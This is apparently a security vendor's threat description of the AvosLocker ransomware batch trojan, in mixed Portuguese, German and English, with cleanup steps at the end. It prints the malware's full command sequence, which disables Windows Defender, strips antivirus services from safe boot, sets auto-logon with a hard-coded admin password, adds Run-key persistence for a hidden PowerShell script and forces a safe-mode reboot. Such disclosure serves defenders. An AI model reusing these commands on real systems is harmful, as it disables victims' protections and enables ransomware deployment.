Trojan.BAT.AVOSLOCKER.YPCBB
Generic.Ransom.AVOSLocker.!s!.D.96A58DC3 (BITDEFENDER)
Windows
Tipo de grayware:
Trojan
Destrutivo:
Não
Criptografado:
Não
In the Wild:
Sim
Visão geral
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Detalhes técnicos
Übertragungsdetails
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
Fügt die folgenden Prozesse hinzu:
- reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
- reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
- bcdedit /set {default} safeboot network
- net use \192.168.111.73 /user:workgroup\test P@ssw0rd123
- shutdown /r /f /t 0
- Terminates and disables services
- net stop wuauserv
- sc config wuauserv start= disabled
- Delete AV related registry
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_agent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_monitor /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Amps /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_notifer /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRkrn /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRSVC /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIRedline /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdvith /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdicap /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CmdAgent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cyserver /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
- Add user and localgroup:
- net user Administrator Password123! /add
- net localgroup administrators Administrator /add
- net user Administrator Password123!
- net user Administrator /Active:Y
Andere Details
Es macht Folgendes:
- It restarts the affected machine
Solução
Step 1
Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.
Step 2
Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und löschen Sie Dateien, die als Trojan.BAT.AVOSLOCKER.YPCBB entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.
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